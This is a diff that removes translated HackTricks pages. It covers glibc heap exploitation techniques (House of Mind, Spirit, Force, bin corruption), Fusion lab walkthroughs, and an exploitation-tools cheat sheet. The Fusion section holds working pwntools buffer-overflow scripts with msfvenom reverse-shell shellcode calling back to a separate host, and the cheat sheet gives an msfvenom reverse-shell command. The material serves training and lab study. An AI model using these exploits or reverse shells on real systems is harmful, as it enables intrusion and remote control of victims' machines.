'n buffer om vry te stel met 'n grootte groter as 512 maar kleiner as die vorige buffer
|
||||
|
||||
'n buffer wat voor stap 3 verklaar is wat toelaat om die prev_size hiervan te oorskry
|
||||
|
||||
Op hierdie manier, deur in twee mallocs ongekontroleerd te oorskry en in een op 'n kontroleerde manier, maar slegs daardie een vry te stel, kan ons 'n exploit maak.
|
||||
|
||||
**Double free() Kwesbaarheid**
|
||||
|
||||
As free() twee keer met dieselfde pointer aangeroep word, bly daar twee bins wat na dieselfde adres wys.
|
||||
|
||||
As een weer gebruik moet word, sal dit sonder probleme toegeken word. As 'n ander gebruik moet word, sal dit dieselfde ruimte toegeken word, sodat ons die pointers “fd” en “bk” vals is met die data wat die vorige reservasie sal skryf.
|
||||
|
||||
**Na free()**
|
||||
|
||||
'n Pointer wat voorheen vrygestel is, word weer sonder beheer gebruik.
|
||||
|
||||
## **8 Heap Oorloop: Gevorderde Exploits**
|
||||
|
||||
Die Unlink() en FrontLink() tegnieke is verwyder deur die unlink() funksie te wysig.
|
||||
|
||||
**Die huis van die verstand**
|
||||
|
||||
Slegs een oproep na free() is nodig om die uitvoering van arbitrêre kode te veroorsaak. Dit is belangrik om 'n tweede stuk te soek wat deur een vorige oorloop kan word en vrygestel.
|
||||
|
||||
'n Oproep na free() veroorsaak dat public_fREe(mem) aangeroep word, dit doen:
|
||||
|
||||
mstate ar_ptr;
|
||||
|
||||
mchunkptr p;
|
||||
|
||||
…
|
||||
|
||||
p = mem2chunk(mes); —> Gee 'n pointer na die adres waar die stuk begin (mem-8)
|
||||
|
||||
…
|
||||
|
||||
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1]
|
||||
|
||||
…
|
||||
|
||||
\_int_free(ar_ptr, mem);
|
||||
|
||||
}
|
||||
|
||||
In \[1] kontroleer dit die veld size die bit NON_MAIN_ARENA, wat verander kan word sodat die kontroleer true teruggee en heap_for_ptr() uitvoer wat 'n and op “mem” doen wat die 2.5 minder belangrike bytes op 0 laat (in ons geval van 0x0804a000 laat dit 0x08000000) en toegang tot 0x08000000->ar_ptr verkry (soos 'n struct heap_info)
|
||||
|
||||
Op hierdie manier, as ons 'n stuk kan beheer byvoorbeeld in 0x0804a000 en 'n stuk in **0x081002a0** vrygestel gaan word, kan ons by die adres 0x08100000 kom en skryf wat ons wil, byvoorbeeld **0x0804a000**. Wanneer hierdie tweede stuk vrygestel word, sal dit vind dat heap_for_ptr(ptr)->ar_ptr die waarde teruggee wat ons in 0x08100000 geskryf het (want die and wat ons vroeër gesien het, word op 0x081002a0 toegepas en daaruit word die waarde van die eerste 4 bytes, die ar_ptr, geneem).
|
||||
|
||||
Op hierdie manier word \_int_free(ar_ptr, mem) aangeroep, dit wil sê, **\_int_free(0x0804a000, 0x081002a0)**\
|
||||
**\_int_free(mstate av, Void_t\* mem){**\
|
||||
…\
|
||||
bck = unsorted_chunks(av);\
|
||||
fwd = bck->fd;\
|
||||
p->bk = bck;\
|
||||
p->fd = fwd;\
|
||||
bck->fd = p;\
|
||||
fwd->bk = p;
|
||||
|
||||
..}
|
||||
|
||||
Soos ons vroeër gesien het, kan ons die waarde van av beheer, want dit is wat ons in die stuk wat vrygestel gaan word, geskryf het.
|
||||
|
||||
Soos wat unsorted_chunks gedefinieer is, weet ons dat:\
|
||||
bck = \&av->bins\[2]-8;\
|
||||
fwd = bck->fd = \*(av->bins\[2]);\
|
||||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||||
|
||||
Daarom, as ons in av->bins\[2] die waarde van \_\_DTOR_END\_\_-12 skryf, sal die laaste instruksie in \_\_DTOR_END\_\_ die adres van die tweede stuk skryf.
|
||||
|
||||
Dit wil sê, in die eerste stuk moet ons aan die begin baie keer die adres van \_\_DTOR_END\_\_-12 plaas, want daaruit sal av->bins\[2] dit neem.
|
||||
|
||||
In die adres waar die adres van die tweede stuk met die laaste 5 nulles val, moet ons die adres na hierdie eerste stuk skryf sodat heap_for_ptr() dink dat die ar_ptr aan die begin van die eerste stuk is en daaruit die av->bins\[2] sal neem.
|
||||
|
||||
In die tweede stuk en danksy die eerste, oorskry ons die prev_size met 'n jump 0x0c en die size met iets om -> NON_MAIN_ARENA te aktiveer.
|
||||
|
||||
Daarna plaas ons 'n hoop nops in stuk 2 en uiteindelik die shellcode.
|
||||
|
||||
Op hierdie manier sal \_int_free(TROZO1, TROZO2) aangeroep word en die instruksies volg om in \_\_DTOR_END\_\_ die adres van die prev_size van TROZO2 te skryf wat na die shellcode sal spring.
|
||||
|
||||
Om hierdie tegniek toe te pas, moet daar aan 'n paar ander vereistes voldoen word wat die payload 'n bietjie meer kompliseer.
|
||||
|
||||
Hierdie tegniek is nie meer toepaslik nie, aangesien 'n soortgelyke opknapping toegepas is soos vir unlink. Dit vergelyk of die nuwe plek waarnatoe gewys word ook na homself wys.
|
||||
|
||||
**Fastbin**
|
||||
|
||||
Dit is 'n variant van Die huis van die verstand.
|
||||
|
||||
Dit is belangrik om die volgende kode uit te voer wat bereik word na die eerste kontrole van die \_int_free() funksie.
|
||||
|
||||
fb = &(av->fastbins\[fastbin_index(size)] —> Waar fastbin_index(sz) —> (sz >> 3) - 2
|
||||
|
||||
…
|
||||
|
||||
p->fd = \*fb
|
||||
|
||||
\*fb = p
|
||||
|
||||
Op hierdie manier, as ons in “fb” die adres van 'n funksie in die GOT plaas, sal die adres na die oorgeskrywe stuk in hierdie adres geplaas word. Hiervoor sal dit nodig wees dat die arena naby die adresse van dtors is. Meer presies dat av->max_fast in die adres is wat ons gaan oorskryf.
|
||||
|
||||
Aangesien ons met Die Huis van die Verstand gesien het dat ons die posisie van av beheer.
|
||||
|
||||
As ons dan in die size veld 'n grootte van 8 + NON_MAIN_ARENA + PREV_INUSE plaas —> fastbin_index() sal ons fastbins\[-1] teruggee, wat na av->max_fast sal wys.
|
||||
|
||||
In hierdie geval sal av->max_fast die adres wees wat oorgeskryf word (nie na wat dit wys nie, maar daardie posisie sal oorgeskryf word).
|
||||
|
||||
Boonop moet daar aan voldoen word dat die aangrensende stuk aan die vrygestelde groter as 8 moet wees -> Aangesien ons gesê het dat die size van die vrygestelde stuk 8 is, moet ons in hierdie vals stuk net 'n size groter as 8 plaas (soos die shellcode in die vrygestelde stuk gaan wees, sal daar aan die begin 'n jmp wees wat in nops val).
|
||||
|
||||
Boonop moet daardie selfde vals stuk kleiner wees as av->system_mem. av->system_mem is 1848 bytes verder.
|
||||
|
||||
As gevolg van die nulles van \_DTOR_END\_ en die min adresse in die GOT, is geen adres van hierdie afdelings geskik om oorgeskryf te word nie, so kom ons kyk hoe om fastbin toe te pas om die stapel aan te val.
|
||||
|
||||
'n Ander manier van aanval is om die **av** na die stapel te herlei.
|
||||
|
||||
As ons die size wysig sodat dit 16 in plaas van 8 is, sal fastbin_index() ons fastbins\[0] teruggee en kan ons dit gebruik om die stapel te oorskryf.
|
||||
|
||||
Hiervoor mag daar geen canary of vreemde waardes in die stapel wees nie, ons moet eintlik in hierdie wees: 4 null bytes + EBP + RET.
|
||||
|
||||
Die 4 null bytes is nodig sodat die **av** aan hierdie adres sal wees en die eerste element van 'n **av** is die mutexe wat 0 moet wees.
|
||||
|
||||
Die **av->max_fast** sal die EBP wees en sal 'n waarde wees wat ons sal help om die beperkings te oorslaan.
|
||||
|
||||
In die **av->fastbins\[0]** sal ons met die adres van **p** oorskryf en dit sal die RET wees, sodat dit na die shellcode sal spring.
|
||||
|
||||
Boonop sal daar in **av->system_mem** (1484bytes bo die posisie in die stapel) baie rommel wees wat ons sal toelaat om die kontrole wat gedoen word, te oorslaan.
|
||||
|
||||
Boonop moet daar aan voldoen word dat die aangrensende stuk aan die vrygestelde groter as 8 moet wees -> Aangesien ons gesê het dat die size van die vrygestelde stuk 16 is, moet ons in hierdie vals stuk net 'n size groter as 8 plaas (soos die shellcode in die vrygestelde stuk gaan wees, sal daar aan die begin 'n jmp wees wat in nops val wat na die size veld van die nuwe vals stuk gaan).
|
||||
|
||||
**Die Huis van Gees**
|
||||
|
||||
In hierdie geval soek ons 'n pointer na 'n malloc wat deur die aanvaller gewysig kan word (byvoorbeeld, dat die pointer onder 'n moontlike oorloop na 'n veranderlike in die stapel is).
|
||||
|
||||
So kan ons maak dat hierdie pointer na enige plek wys. Maar nie enige plek is geldig nie, die grootte van die vals stuk moet kleiner wees as av->max_fast en meer spesifiek gelyk wees aan die grootte wat in 'n toekomstige oproep na malloc()+8 aangevra word. Daarom, as ons weet dat na hierdie kwesbare pointer malloc(40) aangeroep word, moet die grootte van die vals stuk gelyk wees aan 48.
|
||||
|
||||
As die program byvoorbeeld die gebruiker om 'n nommer vra, kan ons 48 invoer en die veranderlike pointer na die volgende 4bytes (wat met geluk aan die EBP kan behoort, so die 48 agterbly, soos die kop grootte). Boonop moet die adres ptr-4+48 aan verskeie voorwaardes voldoen (in hierdie geval ptr=EBP), dit wil sê, 8 < ptr-4+48 < av->system_mem.
|
||||
|
||||
As dit nagekom word, wanneer die volgende malloc wat ons gesê het malloc(40) is, sal dit as adres die adres van die EBP toegeken word. As die aanvaller ook kan beheer wat in hierdie malloc geskryf word, kan hy sowel die EBP as die EIP met die adres wat hy wil oorskryf.
|
||||
|
||||
Ek glo dit is omdat wanneer dit vrygestel word, free() sal onthou dat daar in die adres wat na die EBP van die stapel wys, 'n stuk van die perfekte grootte vir die nuwe malloc() wat gereserveer wil word, is, so dit ken daardie adres toe.
|
||||
|
||||
**Die Huis van Krag**
|
||||
|
||||
Dit is nodig:
|
||||
|
||||
- 'n oorloop na 'n stuk wat die wilderness kan oorskryf
|
||||
- 'n oproep na malloc() met die grootte wat deur die gebruiker gedefinieer is
|
||||
- 'n oproep na malloc() waarvan die data deur die gebruiker gedefinieer kan word
|
||||
|
||||
Die eerste stap is om die size van die wilderness stuk met 'n baie groot waarde (0xffffffff) te oorskryf, sodat enige geheue aanvraag wat groot genoeg is, in \_int_malloc() hanteer sal word sonder om die heap uit te brei.
|
||||
|
||||
Die tweede stap is om die av->top te verander sodat dit na 'n geheuegebied onder die beheer van die aanvaller wys, soos die stapel. In av->top sal \&EIP - 8 geplaas word.
|
||||
|
||||
Ons moet av->top oorskryf sodat dit na die geheuegebied onder die beheer van die aanvaller wys:
|
||||
|
||||
victim = av->top;
|
||||
|
||||
remainder = chunck_at_offset(victim, nb);
|
||||
|
||||
av->top = remainder;
|
||||
|
||||
Victim neem die waarde van die adres van die huidige wilderness stuk (die huidige av->top) en remainder is presies die som van daardie adres plus die hoeveelheid bytes wat deur malloc() aangevra is. Dus, as \&EIP-8 in 0xbffff224 is en av->top 0x080c2788 bevat, sal die hoeveelheid wat ons in die beheerde malloc moet reserveer sodat av->top na $EIP-8 wys vir die volgende malloc() wees:
|
||||
|
||||
0xbffff224 - 0x080c2788 = 3086207644.
|
||||
|
||||
So sal die veranderde waarde in av->top gestoor word en die volgende malloc sal na die EIP wys en dit kan oorskryf.
|
||||
|
||||
Dit is belangrik om te weet dat die size van die nuwe wilderness stuk groter moet wees as die aanvraag wat deur die laaste malloc gemaak is. Dit wil sê, as die wilderness na \&EIP-8 wys, sal die size presies in die EBP veld van die stapel wees.
|
||||
|
||||
**Die Huis van Legende**
|
||||
|
||||
**Klein Bin Korruptie**
|
||||
|
||||
Die vrygestelde stukke word in die bin ingevoer op grond van hul grootte. Maar voordat hulle ingevoer word, word hulle in unsorted bins gestoor. 'n Stuk wat vrygestel word, word nie onmiddellik in sy bin geplaas nie, maar bly in unsorted bins. Daarna, as 'n nuwe stuk gereserveer word en die vorige vrygestelde kan dien, word dit teruggegee, maar as 'n groter gereserveer word, word die vrygestelde stuk in unsorted bins in sy toepaslike bin geplaas.
|
||||
|
||||
Om die kwesbare kode te bereik, moet die geheue aanvraag groter wees as av->max_fast (72 normaalweg) en kleiner as MIN_LARGE_SIZE (512).
|
||||
|
||||
As daar in die bins 'n stuk van die toepaslike grootte is vir wat aangevra word, word dit teruggegee nadat dit ontkoppel is:
|
||||
|
||||
bck = victim->bk; Wys na die vorige stuk, dit is die enigste info wat ons kan verander.
|
||||
|
||||
bin->bk = bck; Die voorlaaste stuk word die laaste, as bck na die stapel wys, sal die volgende gereserveerde stuk hierdie adres gegee word.
|
||||
|
||||
bck->fd = bin; Die lys word gesluit sodat dit na bin wys.
|
||||
|
||||
Daar is nodig:
|
||||
|
||||
Dat daar twee mallocs gereserveer word, sodat die eerste oorloop kan word nadat die tweede vrygestel is en in sy bin geplaas is (dit wil sê, 'n groter malloc gereserveer is voordat die oorloop gemaak word).
|
||||
|
||||
Dat die malloc wat die adres wat deur die aanvaller gekies is, beheer word deur die aanvaller.
|
||||
|
||||
Die doel is die volgende, as ons 'n oorloop na 'n heap kan maak wat onder 'n stuk wat reeds vrygestel is en in sy bin is, kan ons sy pointer bk verander. As ons sy pointer bk verander en hierdie stuk die eerste in die binlys word en gereserveer word, sal bin mislei word en gesê word dat die laaste stuk van die lys (die volgende wat aangebied word) in die valse adres wat ons geplaas het (na die stapel of GOT byvoorbeeld) is. Sodat as daar weer 'n ander stuk gereserveer word en die aanvaller toegang het, sal 'n stuk in die gewenste posisie gegee word en daar kan in geskryf word.
|
||||
|
||||
Na die vrystelling van die gewysigde stuk is dit nodig om 'n stuk groter as die vrygestelde te reserveer, sodat die gewysigde stuk uit unsorted bins sal kom en in sy bin geplaas sal word.
|
||||
|
||||
Sodra dit in sy bin is, is dit die tyd om sy pointer bk te verander deur die oorloop sodat dit na die adres wat ons wil oorskryf, wys.
|
||||
|
||||
So sal die bin moet wag totdat daar genoeg keer malloc() aangeroep word sodat die gewysigde bin weer gebruik word en bin mislei word om te glo dat die volgende stuk in die valse adres is. En dan sal die stuk wat ons belangrik is, gegee word.
|
||||
|
||||
Om die kwesbaarheid so gou as moontlik uit te voer, is dit ideaal: Reservasie van die kwesbare stuk, reservasie van die stuk wat gewysig sal word, vrystelling van hierdie stuk, reservasie van 'n groter stuk wat gewysig sal word, wysiging van die stuk (kwesbaarheid), reservasie van 'n stuk van gelyke grootte as die gewysigde en 'n tweede stuk van gelyke grootte wat na die gekose adres sal wys.
|
||||
|
||||
Om hierdie aanval te beskerm, is die tipiese kontrole gebruik dat die stuk “nie” vals is nie: dit word gekontroleer of bck->fd na victim wys. Dit wil sê, in ons geval of die pointer fd\* van die vals stuk wat in die stapel gewys na victim wys. Om hierdie beskerming te oortref, moet die aanvaller in staat wees om op een of ander manier (waarskynlik deur die stapel) in die toepaslike adres die adres van victim te skryf. Sodat dit soos 'n werklike stuk lyk.
|
||||
|
||||
**Groot Bin Korruptie**
|
||||
|
||||
Die selfde vereistes as voorheen is nodig en nog 'n paar, boonop moet die gereserveerde stukke groter as 512 wees.
|
||||
|
||||
Die aanval is soos die vorige, dit wil sê, die pointer bk moet gewysig word en al daardie oproepe na malloc() is nodig, maar daar moet ook die size van die gewysigde stuk gewysig word sodat daardie size - nb < MINSIZE.
|
||||
|
||||
Byvoorbeeld, dit sal maak dat die size 1552 is sodat 1552 - 1544 = 8 < MINSIZE (die aftrekking kan nie negatief wees nie omdat 'n unsigned vergelyk word).
|
||||
|
||||
Boonop is daar 'n opknapping ingevoer om dit nog moeiliker te maak.
|
||||
|
||||
**Heap Spraying**
|
||||
|
||||
Basies bestaan dit uit die reservasie van soveel moontlik geheue vir heaps en die vul van hierdie met 'n kussing van nops wat met 'n shellcode eindig. Boonop word 0x0c as kussing gebruik. Dit sal probeer om na die adres 0x0c0c0c0c te spring, en so as enige adres wat oorgeskryf word, na hierdie kussing spring, sal dit daarheen spring. Basies is die taktiek om soveel moontlik te reserveer om te sien of enige pointer oorgeskryf word en na 0x0c0c0c0c te spring in die verwagting dat daar nops is.
|
||||
|
||||
**Heap Feng Shui**
|
||||
|
||||
Bestaan uit die reservasie en vrystelling van geheue sodat daar gereserveerde stukke tussen vrye stukke bly. Die buffer wat oorloop sal in een van die eiers geleë wees.
|
||||
|
||||
**objdump -d uitvoerbare** —> Disas funksies\
|
||||
**objdump -d ./PROGRAMA | grep FUNKSIE** —> Kry funksie adres\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Om te sien dat dit werklik ons shellcode is en die OpCodes te kry\
|
||||
**objdump -t ./exec | grep varBss** —> Simbooltabel, om adresse van veranderlikes en funksies te kry\
|
||||
**objdump -TR ./exec | grep exit(func lib)** —> Om adresse van biblioteek funksies (GOT) te kry\
|
||||
**objdump -d ./exec | grep funcCode**\
|
||||
**objdump -s -j .dtors /exec**\
|
||||
**objdump -s -j .got ./exec**\
|
||||
**objdump -t --dynamic-relo ./exec | grep puts** —> Kry die adres van puts om in die GOT te oorskryf\
|
||||
**objdump -D ./exec** —> Disas ALLES tot die ingange van die plt\
|
||||
**objdump -p -/exec**\
|
||||
**Info funksies strncmp —>** Info van die funksie in gdb
|
||||
|
||||
## Interessante kursusse
|
||||
|
||||
- [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||||
- [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||||
- [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
||||
|
||||
## **Verwysings**
|
||||
|
||||
- [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,60 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
# Level00
|
||||
|
||||
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
|
||||
|
||||
1. Kry offset om EIP te wysig
|
||||
2. Plaas shellcode adres in EIP
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
r = remote("192.168.85.181", 20000)
|
||||
|
||||
buf = "GET " # Needed
|
||||
buf += "A"*139 # Offset 139
|
||||
buf += p32(0xbffff440) # Stack address where the shellcode will be saved
|
||||
buf += " HTTP/1.1" # Needed
|
||||
buf += "\x90"*100 # NOPs
|
||||
|
||||
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
|
||||
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
|
||||
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
|
||||
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
|
||||
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
|
||||
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
|
||||
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
|
||||
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
|
||||
buf += "\x65\xd9\x0f\x01"
|
||||
|
||||
r.recvline()
|
||||
r.send(buf)
|
||||
r.interactive()
|
||||
```
|
||||
# Vlak01
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
r = remote("192.168.85.181", 20001)
|
||||
|
||||
buf = "GET " # Needed
|
||||
buf += "A"*139 # Offset 139
|
||||
buf += p32(0x08049f4f) # Adress of: JMP esp
|
||||
buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode)
|
||||
buf += " HTTP/1.1" # Needed
|
||||
buf += "\x90"*100 # NOPs
|
||||
|
||||
#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python
|
||||
buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b"
|
||||
buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d"
|
||||
buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b"
|
||||
buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a"
|
||||
buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31"
|
||||
buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e"
|
||||
buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41"
|
||||
buf += "\x65\xd9\x0f\x01"
|
||||
|
||||
r.send(buf)
|
||||
r.interactive()
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,210 +0,0 @@
|
||||
# Exploiting Tools
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Metasploit
|
||||
```
|
||||
pattern_create.rb -l 3000 #Length
|
||||
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
||||
nasm_shell.rb
|
||||
nasm> jmp esp #Get opcodes
|
||||
msfelfscan -j esi /opt/fusion/bin/level01
|
||||
```
|
||||
### Shellcodes
|
||||
```
|
||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||
```
|
||||
## GDB
|
||||
|
||||
### Installeer
|
||||
```
|
||||
apt-get install gdb
|
||||
```
|
||||
### Parameters
|
||||
```bash
|
||||
-q # No show banner
|
||||
-x <file> # Auto-execute GDB instructions from here
|
||||
-p <pid> # Attach to process
|
||||
```
|
||||
### Instruksies
|
||||
```bash
|
||||
run # Execute
|
||||
start # Start and break in main
|
||||
n/next/ni # Execute next instruction (no inside)
|
||||
s/step/si # Execute next instruction
|
||||
c/continue # Continue until next breakpoint
|
||||
p system # Find the address of the system function
|
||||
set $eip = 0x12345678 # Change value of $eip
|
||||
help # Get help
|
||||
quit # exit
|
||||
|
||||
# Disassemble
|
||||
disassemble main # Disassemble the function called main
|
||||
disassemble 0x12345678 # Disassemble taht address
|
||||
set disassembly-flavor intel # Use intel syntax
|
||||
set follow-fork-mode child/parent # Follow child/parent process
|
||||
|
||||
# Breakpoints
|
||||
br func # Add breakpoint to function
|
||||
br *func+23
|
||||
br *0x12345678
|
||||
del <NUM> # Delete that number of breakpoint
|
||||
watch EXPRESSION # Break if the value changes
|
||||
|
||||
# info
|
||||
info functions --> Info abount functions
|
||||
info functions func --> Info of the funtion
|
||||
info registers --> Value of the registers
|
||||
bt # Backtrace Stack
|
||||
bt full # Detailed stack
|
||||
print variable
|
||||
print 0x87654321 - 0x12345678 # Caculate
|
||||
|
||||
# x/examine
|
||||
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
|
||||
x/o 0xDir_hex
|
||||
x/2x $eip # 2Words from EIP
|
||||
x/2x $eip -4 # $eip - 4
|
||||
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
|
||||
i r eip # Value of $eip
|
||||
x/w pointer # Value of the pointer
|
||||
x/s pointer # String pointed by the pointer
|
||||
x/xw &pointer # Address where the pointer is located
|
||||
x/i $eip # Instructions of the EIP
|
||||
```
|
||||
### [GEF](https://github.com/hugsy/gef)
|
||||
```bash
|
||||
help memory # Get help on memory command
|
||||
canary # Search for canary value in memory
|
||||
checksec #Check protections
|
||||
p system #Find system function address
|
||||
search-pattern "/bin/sh" #Search in the process memory
|
||||
vmmap #Get memory mappings
|
||||
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
|
||||
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
|
||||
got #Check got table
|
||||
memory watch $_got()+0x18 5 #Watch a part of the got table
|
||||
|
||||
# Vulns detection
|
||||
format-string-helper #Detect insecure format strings
|
||||
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap
|
||||
|
||||
#Patterns
|
||||
pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
|
||||
#Shellcode
|
||||
shellcode search x86 #Search shellcodes
|
||||
shellcode get 61 #Download shellcode number 61
|
||||
|
||||
#Another way to get the offset of to the RIP
|
||||
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
|
||||
2- ef➤ i f
|
||||
Stack level 0, frame at 0x7fffffffddd0:
|
||||
rip = 0x400cd3; saved rip = 0x6261617762616176
|
||||
called by frame at 0x7fffffffddd8
|
||||
Arglist at 0x7fffffffdcf8, args:
|
||||
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
|
||||
gef➤ pattern search 0x6261617762616176
|
||||
[+] Searching for '0x6261617762616176'
|
||||
[+] Found at offset 184 (little-endian search) likely
|
||||
```
|
||||
### Tricks
|
||||
|
||||
#### GDB dieselfde adresse
|
||||
|
||||
Terwyl jy debugg, sal GDB **liggies verskillende adresse hê as die wat deur die binêre gebruik word wanneer dit uitgevoer word.** Jy kan GDB dieselfde adresse laat hê deur:
|
||||
|
||||
- `unset env LINES`
|
||||
- `unset env COLUMNS`
|
||||
- `set env _=<path>` _Plaas die absolute pad na die binêre_
|
||||
- Exploit die binêre met dieselfde absolute roete
|
||||
- `PWD` en `OLDPWD` moet dieselfde wees wanneer jy GDB gebruik en wanneer jy die binêre exploiteer
|
||||
|
||||
#### Backtrace om funksies te vind wat aangeroep word
|
||||
|
||||
Wanneer jy 'n **statically linked binary** het, sal al die funksies aan die binêre behoort (en nie aan eksterne biblioteke nie). In hierdie geval sal dit moeilik wees om die **vloei wat die binêre volg om byvoorbeeld gebruikersinvoer te vra** te **identifiseer**.\
|
||||
Jy kan hierdie vloei maklik identifiseer deur die binêre met **gdb** te **hardloop** totdat jy vir invoer gevra word. Stop dit dan met **CTRL+C** en gebruik die **`bt`** (**backtrace**) opdrag om die funksies wat aangeroep is te sien:
|
||||
```
|
||||
gef➤ bt
|
||||
#0 0x00000000004498ae in ?? ()
|
||||
#1 0x0000000000400b90 in ?? ()
|
||||
#2 0x0000000000400c1d in ?? ()
|
||||
#3 0x00000000004011a9 in ?? ()
|
||||
#4 0x0000000000400a5a in ?? ()
|
||||
```
|
||||
### GDB bediener
|
||||
|
||||
`gdbserver --multi 0.0.0.0:23947` (in IDA moet jy die absolute pad van die uitvoerbare lêer in die Linux masjien en in die Windows masjien invul)
|
||||
|
||||
## Ghidra
|
||||
|
||||
### Vind stap offset
|
||||
|
||||
**Ghidra** is baie nuttig om die **offset** vir 'n **buffer overflow te vind danksy die inligting oor die posisie van die plaaslike veranderlikes.**\
|
||||
Byvoorbeeld, in die voorbeeld hieronder dui 'n buffer vloei in `local_bc` aan dat jy 'n offset van `0xbc` nodig het. Boonop, as `local_10` 'n kanarie koekie is, dui dit aan dat om dit van `local_bc` te oorskryf daar 'n offset van `0xac` is.\
|
||||
_Onthou dat die eerste 0x08 van waar die RIP gestoor word aan die RBP behoort._
|
||||
|
||||
.png>)
|
||||
|
||||
## GCC
|
||||
|
||||
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compileer sonder beskermings\
|
||||
**-o** --> Uitset\
|
||||
**-g** --> Stoor kode (GDB sal dit kan sien)\
|
||||
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Om die ASLR in linux te deaktiveer
|
||||
|
||||
**Om 'n shellcode te compileer:**\
|
||||
**nasm -f elf assembly.asm** --> teruggee 'n ".o"\
|
||||
**ld assembly.o -o shellcodeout** --> Uitvoerbaar
|
||||
|
||||
## Objdump
|
||||
|
||||
**-d** --> **Disassemble uitvoerbare** afdelings (sien opcodes van 'n gecompileerde shellcode, vind ROP Gadgets, vind funksie adres...)\
|
||||
**-Mintel** --> **Intel** sintaksis\
|
||||
**-t** --> **Simboles** tabel\
|
||||
**-D** --> **Disassemble alles** (adres van statiese veranderlike)\
|
||||
**-s -j .dtors** --> dtors afdeling\
|
||||
**-s -j .got** --> got afdeling\
|
||||
\-D -s -j .plt --> **plt** afdeling **gedekompileer**\
|
||||
**-TR** --> **Hernuwinge**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adres van "puts" om in GOT te wysig\
|
||||
**objdump -D ./exec | grep "VAR_NAME"** --> Adres of 'n statiese veranderlike (daardie word in DATA afdeling gestoor).
|
||||
|
||||
## Kern stortings
|
||||
|
||||
1. Voer `ulimit -c unlimited` uit voordat ek my program begin
|
||||
2. Voer `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` uit
|
||||
3. sudo gdb --core=\<path/core> --quiet
|
||||
|
||||
## Meer
|
||||
|
||||
**ldd uitvoerbare | grep libc.so.6** --> Adres (as ASLR, dan verander dit elke keer)\
|
||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop om te sien of die adres baie verander\
|
||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset van "system"\
|
||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset van "/bin/sh"
|
||||
|
||||
**strace uitvoerbare** --> Funksies wat deur die uitvoerbare aangeroep word\
|
||||
**rabin2 -i ejecutable -->** Adres van al die funksies
|
||||
|
||||
## **Inmunity debugger**
|
||||
```bash
|
||||
